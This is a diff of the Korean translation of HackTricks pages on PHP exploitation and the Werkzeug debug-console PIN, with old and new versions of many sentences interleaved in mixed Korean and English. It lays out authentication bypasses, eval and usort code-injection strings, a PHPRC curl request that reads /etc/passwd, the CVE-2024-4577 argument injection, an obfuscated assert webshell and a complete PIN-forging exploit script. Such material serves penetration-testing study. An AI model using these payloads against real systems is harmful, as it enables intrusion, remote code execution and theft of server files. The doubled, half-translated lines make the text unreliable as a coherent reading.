* `"0xAAAA" == "43690" -> True` 10진수 또는 16진수 형식의 숫자로 구성된 문자열은 다른 숫자/문자열과 비교할 수 있으며, 숫자가 동일할 경우 True로 결과가 나옵니다 (문자열의 숫자는 숫자로 해석됩니다).
|
||||
* `"0e3264578" == 0 --> True` "0e"로 시작하고 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다.
|
||||
* `"0X3264578" == 0X --> True` "0"로 시작하고 그 뒤에 어떤 문자(여기서 X는 어떤 문자든 가능)와 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다.
|
||||
* `"0e12334" == "0" --> True` 이는 매우 흥미로운데, 어떤 경우에는 "0"의 문자열 입력과 해시된 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 해시를 생성할 수 있는 값을 제공할 수 있다면, 비교를 우회할 수 있습니다. 이 형식의 **이미 해시된 문자열**은 여기에서 찾을 수 있습니다: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` 문자열의 어떤 문자도 int 0과 같습니다.
|
||||
|
||||
자세한 정보는 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)에서 확인하세요.
|
||||
자세한 정보는 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)에서 확인할 수 있습니다.
|
||||
|
||||
### **in\_array()**
|
||||
|
||||
|
@ -68,7 +72,7 @@ var_dump(in_array(0, $values, true));
|
|||
```
|
||||
### strcmp()/strcasecmp()
|
||||
|
||||
이 함수가 **모든 인증 확인**(비밀번호 확인과 같은)에 사용되면, 사용자가 비교의 한 쪽을 제어할 수 있는 경우, 비밀번호의 값으로 문자열 대신 빈 배열을 보낼 수 있습니다 (`https://example.com/login.php/?username=admin&password[]=`) 그리고 이 확인을 우회할 수 있습니다:
|
||||
이 함수가 **모든 인증 확인**(비밀번호 확인과 같은)에 사용되면, 사용자가 비교의 한 쪽을 제어할 경우 비밀번호의 값으로 문자열 대신 빈 배열을 보낼 수 있습니다(`https://example.com/login.php/?username=admin&password[]=`) 그리고 이 확인을 우회할 수 있습니다:
|
||||
```php
|
||||
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
|
@ -102,7 +106,7 @@ echo preg_match("/^.*1/",$myinput);
|
|||
echo preg_match("/^.*1.*$/",$myinput);
|
||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||
```
|
||||
이 검사를 우회하려면 **새 줄이 포함된 값을 URL 인코딩하여 전송**하거나, **JSON 데이터를 보낼 수** 있다면 **여러 줄로 전송**하십시오:
|
||||
이 검사를 우회하려면 **새 줄이 URL 인코딩된 값**(`%0A`)을 **전송하거나, JSON 데이터를 보낼 수 있다면 여러 줄로 전송**하세요:
|
||||
```php
|
||||
{
|
||||
"cmd": "cat /etc/passwd"
|
||||
|
@ -127,7 +131,7 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
|
|||
|
||||
간단히 말해, 문제는 PHP의 `preg_*` 함수가 [PCRE 라이브러리](http://www.pcre.org/)를 기반으로 하기 때문에 발생합니다. PCRE에서는 특정 정규 표현식이 많은 재귀 호출을 사용하여 일치되며, 이는 많은 스택 공간을 사용합니다. 허용되는 재귀 호출의 수에 제한을 설정할 수 있지만, PHP에서는 이 제한이 [기본적으로 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)으로 설정되어 있어 스택에 맞지 않습니다.
|
||||
|
||||
[이 Stackoverflow 스레드](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)도 이 문제에 대해 더 깊이 논의된 게시물에 링크되어 있었습니다. 우리의 작업은 이제 명확했습니다:\
|
||||
[이 Stackoverflow 스레드](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)도 이 문제에 대해 더 깊이 논의된 게시물에 링크되어 있었습니다. 우리의 작업은 이제 명확해졌습니다:\
|
||||
**정규 표현식이 100\_000회 이상의 재귀를 수행하게 만드는 입력을 보내어 SIGSEGV를 유발하고, `preg_match()` 함수가 `false`를 반환하게 하여 애플리케이션이 우리의 입력이 악의적이지 않다고 생각하게 만든 후, 페이로드의 끝에 `{system(<verybadcommand>)}`와 같은 놀라움을 던져 SSTI --> RCE --> flag :)**.
|
||||
|
||||
정규 표현식 용어로, 우리는 실제로 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세고 있으며, [PHP 문서](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)에 따르면 `pcre.backtrack_limit` 변수의 기본값은 1\_000\_000 (1M)입니다.\
|
||||
|
@ -148,7 +152,7 @@ $obfs += ""; //int 7
|
|||
```
|
||||
## Execute After Redirect (EAR)
|
||||
|
||||
PHP가 다른 페이지로 리디렉션되고 있지만 **`Location`** 헤더가 설정된 후에 **`die`** 또는 **`exit`** 함수가 호출되지 않으면, PHP는 계속 실행되어 데이터를 본문에 추가합니다:
|
||||
PHP가 다른 페이지로 리디렉션하고 있지만 **`Location`** 헤더가 설정된 후 **`die`** 또는 **`exit`** 함수가 호출되지 않으면, PHP는 계속 실행되어 데이터를 본문에 추가합니다:
|
||||
```php
|
||||
<?php
|
||||
// In this page the page will be read and the content appended to the body of
|
||||
|
@ -160,7 +164,7 @@ readfile($page);
|
|||
```
|
||||
## 경로 탐색 및 파일 포함 취약점
|
||||
|
||||
Check:
|
||||
확인:
|
||||
|
||||
{% content-ref url="../../../pentesting-web/file-inclusion/" %}
|
||||
[file-inclusion](../../../pentesting-web/file-inclusion/)
|
||||
|
@ -168,15 +172,15 @@ Check:
|
|||
|
||||
## 더 많은 트릭
|
||||
|
||||
* **register\_globals**: **PHP < 4.1.1.1** 또는 잘못 구성된 경우, **register\_globals**가 활성화될 수 있습니다(또는 그 동작이 모방되고 있습니다). 이는 $\_GET와 같은 전역 변수에 값이 있는 경우 예를 들어 $\_GET\["param"]="1234", **$param을 통해 접근할 수 있음을 의미합니다. 따라서 HTTP 매개변수를 전송하여 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다.**
|
||||
* **같은 도메인의 PHPSESSION 쿠키는 같은 위치에 저장됩니다**, 따라서 도메인 내에서 **다른 경로에서 다른 쿠키가 사용되는 경우** 해당 경로가 **다른 경로 쿠키의 값을 설정하여 쿠키에 접근하게 만들 수 있습니다.**\
|
||||
* **register\_globals**: **PHP < 4.1.1.1** 또는 잘못 구성된 경우, **register\_globals**가 활성화될 수 있습니다(또는 그 동작이 모방되고 있습니다). 이는 $\_GET와 같은 전역 변수에 값이 있는 경우 예를 들어 $\_GET\["param"]="1234"와 같이, **$param을 통해 접근할 수 있음을 의미합니다. 따라서 HTTP 매개변수를 전송하여 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다.**
|
||||
* **같은 도메인의 PHPSESSION 쿠키는 같은 위치에 저장됩니다.** 따라서 도메인 내에서 **다른 경로에서 다른 쿠키가 사용되는 경우** 해당 경로가 **다른 경로 쿠키의 값을 설정하여 쿠키에 접근하게 만들 수 있습니다.**\
|
||||
이렇게 하면 **두 경로가 같은 이름의 변수를 접근할 경우** **path1의 해당 변수 값을 path2에 적용할 수 있습니다.** 그러면 path2는 path1의 변수를 유효한 것으로 간주합니다(쿠키에 path2에 해당하는 이름을 부여하여).
|
||||
* **사용자의 사용자 이름**이 있는 경우, 주소를 확인하세요: **/\~\<USERNAME>** php 디렉토리가 활성화되어 있는지 확인합니다.
|
||||
* **사용자의 사용자 이름**이 있는 경우, 주소 **/\~\<USERNAME>**를 확인하여 php 디렉토리가 활성화되어 있는지 확인합니다.
|
||||
* [**php 래퍼를 사용한 LFI 및 RCE**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password\_hash/password\_verify
|
||||
|
||||
이 함수들은 일반적으로 PHP에서 **비밀번호로부터 해시를 생성**하고 **해시와 비교하여 비밀번호가 올바른지 확인하는 데 사용됩니다.**\
|
||||
이 함수는 일반적으로 PHP에서 **비밀번호로부터 해시를 생성**하고 해시와 비교하여 비밀번호가 올바른지 **확인하는 데 사용됩니다.**\
|
||||
지원되는 알고리즘은: `PASSWORD_DEFAULT` 및 `PASSWORD_BCRYPT`(시작은 `$2y$`). **PASSWORD\_DEFAULT는 자주 PASSWORD\_BCRYPT와 동일합니다.** 현재 **PASSWORD\_BCRYPT**는 **입력의 크기 제한이 72바이트**입니다. 따라서 이 알고리즘으로 72바이트보다 큰 것을 해시하려고 하면 처음 72B만 사용됩니다:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
|
@ -185,13 +189,13 @@ False
|
|||
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
True
|
||||
```
|
||||
### HTTP headers bypass abusing PHP errors
|
||||
### HTTP 헤더 우회 PHP 오류 악용
|
||||
|
||||
#### 헤더 설정 후 오류 발생
|
||||
|
||||
[**이 트위터 스레드**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19)에서 1000개 이상의 GET 파라미터 또는 1000개 이상의 POST 파라미터 또는 20개의 파일을 전송하면, PHP는 응답에서 헤더를 설정하지 않는 것을 볼 수 있습니다.
|
||||
[**이 트위터 스레드**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19)에서 1000개 이상의 GET 파라미터, 1000개 이상의 POST 파라미터 또는 20개의 파일을 전송하면 PHP가 응답에서 헤더를 설정하지 않는 것을 볼 수 있습니다.
|
||||
|
||||
예를 들어 CSP 헤더가 설정된 코드에서 우회할 수 있게 합니다:
|
||||
예를 들어 CSP 헤더가 코드에서 설정되는 것을 우회할 수 있게 합니다:
|
||||
```php
|
||||
<?php
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
|
@ -199,8 +203,8 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
|
|||
```
|
||||
#### 헤더를 설정하기 전에 본문 채우기
|
||||
|
||||
**PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 다시 에코하는 경우**, 사용자는 PHP 서버가 **충분히 긴 콘텐츠**를 출력하도록 만들어서 **헤더를 추가하려고 할 때** 서버가 오류를 발생시키게 할 수 있습니다.\
|
||||
다음 시나리오에서 **공격자는 서버가 큰 오류를 발생시키도록 만들었으며**, 화면에서 볼 수 있듯이 PHP가 **헤더 정보를 수정하려고 할 때, 수정할 수 없었습니다** (예를 들어 CSP 헤더가 사용자에게 전송되지 않았습니다):
|
||||
**PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 다시 에코하는 경우**, 사용자는 PHP 서버가 **헤더를 응답에 추가하려고 할 때 오류를 발생시키도록 충분히 긴 콘텐츠를 출력하게 할 수 있습니다.**\
|
||||
다음 시나리오에서 **공격자는 서버가 큰 오류를 발생시키도록 했으며**, 화면에서 볼 수 있듯이 PHP가 **헤더 정보를 수정하려고 할 때, 수정할 수 없었습니다** (예를 들어 CSP 헤더가 사용자에게 전송되지 않았습니다):
|
||||
|
||||
![](<../../../.gitbook/assets/image (1085).png>)
|
||||
|
||||
|
@ -225,7 +229,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
|
|||
preg_replace(pattern,replace,base)
|
||||
preg_replace("/a/e","phpinfo()","whatever")
|
||||
```
|
||||
"replace" 인수에서 코드를 실행하려면 최소한 하나의 일치 항목이 필요합니다.\
|
||||
코드를 실행하려면 "replace" 인수에 최소한 하나의 일치 항목이 필요합니다.\
|
||||
이 preg\_replace 옵션은 **PHP 5.5.0부터 사용 중단되었습니다.**
|
||||
|
||||
### **Eval()을 통한 RCE**
|
||||
|
@ -243,11 +247,11 @@ php 내의 이 함수는 **문자열로 작성된 코드를 실행**하여 **tru
|
|||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
```
|
||||
코드 **구문**을 **깨고**, **페이로드**를 **추가**한 다음 **다시 수정**해야 합니다. "**and" 또는 "%26%26" 또는 "|"**와 같은 **논리 연산**을 사용할 수 있습니다. "or", "||"는 작동하지 않으므로 첫 번째 조건이 참이면 우리의 페이로드가 실행되지 않습니다. 같은 이유로 ";"도 작동하지 않으며 우리의 페이로드가 실행되지 않습니다.
|
||||
당신은 **코드** **구문**을 **깨고**, **페이로드**를 **추가**한 다음 **다시 수정**해야 합니다. "**and" 또는 "%26%26" 또는 "|"**와 같은 **논리 연산**을 사용할 수 있습니다. "or", "||"는 작동하지 않으니 주의하세요. 첫 번째 조건이 참이면 우리의 페이로드가 실행되지 않기 때문입니다. 같은 이유로 ";"도 작동하지 않습니다. 우리의 페이로드가 실행되지 않기 때문입니다.
|
||||
|
||||
**다른 옵션**은 문자열에 명령 실행을 추가하는 것입니다: `'.highlight_file('.passwd').'`
|
||||
|
||||
**다른 옵션**(내부 코드를 가지고 있는 경우)은 실행을 변경하기 위해 일부 변수를 수정하는 것입니다: `$file = "hola"`
|
||||
**다른 옵션** (내부 코드를 가지고 있다면)은 실행을 변경하기 위해 일부 변수를 수정하는 것입니다: `$file = "hola"`
|
||||
|
||||
### **usort()를 통한 RCE**
|
||||
|
||||
|
@ -276,9 +280,9 @@ You can also use **//** to comment the rest of the code.
|
|||
|
||||
To discover the number of parenthesis that you need to close:
|
||||
|
||||
* `?order=id;}//`: 우리는 오류 메시지(`Parse error: syntax error, unexpected ';'`)를 받습니다. 아마도 하나 이상의 괄호가 누락되었습니다.
|
||||
* `?order=id);}//`: 우리는 **경고**를 받습니다. 그게 맞는 것 같습니다.
|
||||
* `?order=id));}//`: 우리는 오류 메시지(`Parse error: syntax error, unexpected ')' i`)를 받습니다. 아마도 닫는 괄호가 너무 많습니다.
|
||||
* `?order=id;}//`: we get an error message (`Parse error: syntax error, unexpected ';'`). We are probably missing one or more brackets.
|
||||
* `?order=id);}//`: we get a **warning**. That seems about right.
|
||||
* `?order=id));}//`: we get an error message (`Parse error: syntax error, unexpected ')' i`). We probably have too many closing brackets.
|
||||
|
||||
### **RCE via .httaccess**
|
||||
|
||||
|
@ -290,12 +294,12 @@ Different .htaccess shells can be found [here](https://github.com/wireghoul/htsh
|
|||
|
||||
If you find a vulnerability that allows you to **modify env variables in PHP** (and another one to upload files, although with more research maybe this can be bypassed), you could abuse this behaviour to get **RCE**.
|
||||
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): 이 env 변수는 다른 바이너리를 실행할 때 임의의 라이브러리를 로드할 수 있게 해줍니다(이 경우에는 작동하지 않을 수 있습니다).
|
||||
* **`PHPRC`** : PHP에 **구성 파일의 위치**를 지시합니다. 일반적으로 `php.ini`라고 불립니다. 자신의 구성 파일을 업로드할 수 있다면, `PHPRC`를 사용하여 PHP가 이를 가리키도록 하십시오. 두 번째 업로드된 파일을 지정하는 **`auto_prepend_file`** 항목을 추가합니다. 이 두 번째 파일은 일반 **PHP 코드**를 포함하며, 이는 다른 코드보다 먼저 PHP 런타임에 의해 실행됩니다.
|
||||
1. 우리의 쉘코드를 포함하는 PHP 파일을 업로드합니다.
|
||||
2. 1단계에서 업로드한 파일을 실행하도록 PHP 전처리기에 지시하는 **`auto_prepend_file`** 지시어를 포함하는 두 번째 파일을 업로드합니다.
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): 이 환경 변수는 다른 바이너리를 실행할 때 임의의 라이브러리를 로드할 수 있게 해줍니다 (이 경우에는 작동하지 않을 수 있습니다).
|
||||
* **`PHPRC`** : PHP에 **구성 파일의 위치**를 지시합니다. 일반적으로 `php.ini`라고 불립니다. 자신의 구성 파일을 업로드할 수 있다면, `PHPRC`를 사용하여 PHP가 이를 가리키도록 하세요. 두 번째 업로드된 파일을 지정하는 **`auto_prepend_file`** 항목을 추가하세요. 이 두 번째 파일은 일반 **PHP 코드**를 포함하며, 이는 다른 코드가 실행되기 전에 PHP 런타임에 의해 실행됩니다.
|
||||
1. 쉘코드를 포함한 PHP 파일을 업로드합니다.
|
||||
2. 1단계에서 업로드한 파일을 실행하도록 PHP 전처리기에 지시하는 **`auto_prepend_file`** 지시어를 포함한 두 번째 파일을 업로드합니다.
|
||||
3. 2단계에서 업로드한 파일로 `PHPRC` 변수를 설정합니다.
|
||||
* 이 체인을 실행하는 방법에 대한 더 많은 정보는 [**원본 보고서**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)에서 확인하십시오.
|
||||
* 이 체인을 실행하는 방법에 대한 더 많은 정보는 [**원본 보고서**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)에서 확인하세요.
|
||||
* **PHPRC** - 또 다른 옵션
|
||||
* 파일을 **업로드할 수 없는 경우**, FreeBSD에서 **`stdin`**을 포함하는 "파일" `/dev/fd/0`를 사용할 수 있습니다:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
|
@ -305,7 +309,7 @@ If you find a vulnerability that allows you to **modify env variables in PHP** (
|
|||
|
||||
### XAMPP CGI RCE - CVE-2024-4577
|
||||
|
||||
The webserver parses HTTP requests and passes them to a PHP script executing a request such as as [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar\&ref=labs.watchtowr.com) as `php.exe cgi.php foo=bar`, which allows a parameter injection. This would allow to inject the following parameters to load the PHP code from the body:
|
||||
웹 서버는 HTTP 요청을 구문 분석하고 이를 PHP 스크립트에 전달하여 [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar\&ref=labs.watchtowr.com)와 같은 요청을 실행합니다. 이는 `php.exe cgi.php foo=bar`로, 매개변수 주입을 허용합니다. 이는 본문에서 PHP 코드를 로드하기 위해 다음 매개변수를 주입할 수 있게 해줍니다:
|
||||
```jsx
|
||||
-d allow_url_include=1 -d auto_prepend_file=php://input
|
||||
```
|
||||
|
@ -327,7 +331,7 @@ phpinfo();
|
|||
## PHP Sanitization bypass & Brain Fuck
|
||||
|
||||
[**이 게시물에서**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 매우 적은 문자로 브레인 펑크 PHP 코드를 생성할 수 있는 훌륭한 아이디어를 찾을 수 있습니다.\
|
||||
게다가 여러 검사를 우회할 수 있도록 허용된 함수를 실행하는 흥미로운 방법도 제안됩니다:
|
||||
또한 여러 검사를 우회할 수 있도록 허용된 함수를 실행하는 흥미로운 방법도 제안됩니다:
|
||||
```php
|
||||
(1)->{system($_GET[chr(97)])}
|
||||
```
|
||||
|
@ -341,7 +345,7 @@ $_COOKIE | if #This mea
|
|||
```
|
||||
If yo are debugging a PHP application you can globally enable error printing in`/etc/php5/apache2/php.ini` adding `display_errors = On` and restart apache : `sudo systemctl restart apache2`
|
||||
|
||||
### PHP 코드 디오브퍼스케이팅
|
||||
### PHP 코드 디오브퓨세이팅
|
||||
|
||||
You can use the **web**[ **www.unphp.net**](http://www.unphp.net) **to deobfuscate php code.**
|
||||
|
||||
|
@ -464,9 +468,13 @@ $____.=$__;
|
|||
$_=$$____;
|
||||
$___($_[_]); // ASSERT($_POST[_]);
|
||||
```
|
||||
<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -17,11 +17,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 우리는 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Console RCE
|
||||
## 콘솔 RCE
|
||||
|
||||
디버그가 활성화되어 있으면 `/console`에 접근하여 RCE를 얻으려고 시도할 수 있습니다.
|
||||
```python
|
||||
|
@ -29,7 +31,7 @@ __import__('os').popen('whoami').read();
|
|||
```
|
||||
![](<../../.gitbook/assets/image (117).png>)
|
||||
|
||||
인터넷에는 [이것](https://github.com/its-arun/Werkzeug-Debug-RCE)과 같은 여러 익스플로잇이 있습니다. 또는 메타스플로잇에서 하나를 찾을 수 있습니다.
|
||||
인터넷에는 [이것](https://github.com/its-arun/Werkzeug-Debug-RCE)과 같은 여러 익스플로잇이 있습니다. 또는 메타스플로잇에 있는 익스플로잇도 있습니다.
|
||||
|
||||
## 핀 보호 - 경로 탐색
|
||||
|
||||
|
@ -43,9 +45,9 @@ The console is locked and needs to be unlocked by entering the PIN.
|
|||
You can find the PIN printed out on the standard output of your
|
||||
shell that runs the server
|
||||
```
|
||||
"console locked" 시나리오에 대한 메시지가 Werkzeug의 디버그 인터페이스에 접근하려고 할 때 나타나며, 콘솔 잠금을 해제하기 위해 PIN이 필요함을 나타냅니다. 콘솔 PIN을 악용하기 위해 Werkzeug의 디버그 초기화 파일(`__init__.py`)에서 PIN 생성 알고리즘을 분석할 것을 제안합니다. PIN 생성 메커니즘은 [**Werkzeug 소스 코드 저장소**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py)에서 연구할 수 있지만, 잠재적인 버전 불일치로 인해 실제 서버 코드를 파일 탐색 취약점을 통해 확보하는 것이 좋습니다.
|
||||
A message regarding the "console locked" scenario is encountered when attempting to access Werkzeug's debug interface, indicating a requirement for a PIN to unlock the console. The suggestion is made to exploit the console PIN by analyzing the PIN generation algorithm in Werkzeug’s debug initialization file (`__init__.py`). The PIN generation mechanism can be studied from the [**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), though it is advised to procure the actual server code via a file traversal vulnerability due to potential version discrepancies.
|
||||
|
||||
콘솔 PIN을 악용하기 위해 두 세트의 변수가 필요합니다: `probably_public_bits`와 `private_bits`.
|
||||
콘솔 PIN을 악용하기 위해 두 세트의 변수가 필요합니다:
|
||||
|
||||
#### **`probably_public_bits`**
|
||||
|
||||
|
@ -57,7 +59,7 @@ shell that runs the server
|
|||
#### **`private_bits`**
|
||||
|
||||
* **`uuid.getnode()`**: 현재 머신의 MAC 주소를 가져오며, `str(uuid.getnode())`는 이를 10진수 형식으로 변환합니다.
|
||||
* **서버의 MAC 주소를 결정하기 위해**, 앱에서 사용되는 활성 네트워크 인터페이스를 식별해야 합니다 (예: `ens3`). 불확실한 경우, **`/proc/net/arp`를 누출하여 장치 ID를 찾고, 그 다음 **`/sys/class/net/<device id>/address`**에서 MAC 주소를 추출합니다.
|
||||
* **서버의 MAC 주소를 확인하기 위해**, 앱에서 사용되는 활성 네트워크 인터페이스를 식별해야 합니다 (예: `ens3`). 불확실한 경우, **`/proc/net/arp`를 누출하여** 장치 ID를 찾고, **`/sys/class/net/<device id>/address`에서 MAC 주소를 추출하십시오**.
|
||||
* 16진수 MAC 주소를 10진수로 변환하는 방법은 아래와 같습니다:
|
||||
|
||||
```python
|
||||
|
@ -69,7 +71,7 @@ shell that runs the server
|
|||
|
||||
<details>
|
||||
|
||||
<summary>`get_machine_id()` 코드</summary>
|
||||
<summary>Code for `get_machine_id()`</summary>
|
||||
```python
|
||||
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
||||
global _machine_id
|
||||
|
@ -111,7 +113,7 @@ try:
|
|||
|
||||
모든 필요한 데이터를 수집한 후, 익스플로잇 스크립트를 실행하여 Werkzeug 콘솔 PIN을 생성할 수 있습니다:
|
||||
|
||||
모든 필요한 데이터를 수집한 후, 익스플로잇 스크립트를 실행하여 Werkzeug 콘솔 PIN을 생성할 수 있습니다. 이 스크립트는 조합된 `probably_public_bits`와 `private_bits`를 사용하여 해시를 생성한 다음, 최종 PIN을 생성하기 위해 추가 처리를 수행합니다. 아래는 이 프로세스를 실행하기 위한 Python 코드입니다:
|
||||
모든 필요한 데이터를 수집한 후, 익스플로잇 스크립트를 실행하여 Werkzeug 콘솔 PIN을 생성할 수 있습니다. 이 스크립트는 조립된 `probably_public_bits`와 `private_bits`를 사용하여 해시를 생성한 다음, 최종 PIN을 생성하기 위해 추가 처리를 수행합니다. 아래는 이 프로세스를 실행하기 위한 Python 코드입니다:
|
||||
```python
|
||||
import hashlib
|
||||
from itertools import chain
|
||||
|
@ -157,10 +159,10 @@ rv = num
|
|||
|
||||
print(rv)
|
||||
```
|
||||
이 스크립트는 연결된 비트를 해싱하고 특정 솔트(`cookiesalt` 및 `pinsalt`)를 추가하며 출력을 형식화하여 PIN을 생성합니다. 실제 `probably_public_bits` 및 `private_bits`의 값은 Werkzeug 콘솔에서 예상되는 PIN과 일치하도록 목표 시스템에서 정확하게 얻어야 한다는 점에 유의하는 것이 중요합니다.
|
||||
이 스크립트는 연결된 비트를 해싱하고 특정 솔트(`cookiesalt` 및 `pinsalt`)를 추가하며 출력을 포맷하여 PIN을 생성합니다. 실제 `probably_public_bits` 및 `private_bits`의 값은 Werkzeug 콘솔에서 예상되는 PIN과 일치하도록 목표 시스템에서 정확하게 얻어야 한다는 점이 중요합니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
**오래된 버전**의 Werkzeug를 사용 중이라면 해싱 알고리즘을 sha1 대신 **md5로 변경**해 보십시오.
|
||||
**오래된 버전**의 Werkzeug를 사용 중이라면 **해싱 알고리즘을 sha1 대신 md5로 변경**해 보세요.
|
||||
{% endhint %}
|
||||
|
||||
## Werkzeug 유니코드 문자
|
||||
|
@ -173,7 +175,7 @@ print(rv)
|
|||
|
||||
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
|
||||
|
||||
## 참고자료
|
||||
## 참고 문헌
|
||||
|
||||
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
||||
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
|
||||
|
@ -182,7 +184,9 @@ print(rv)
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하십시오. 우리는 침투 테스터를 대체하지 않습니다 - 우리는 그들이 더 깊이 파고들고, 셸을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 악용을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -196,7 +200,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
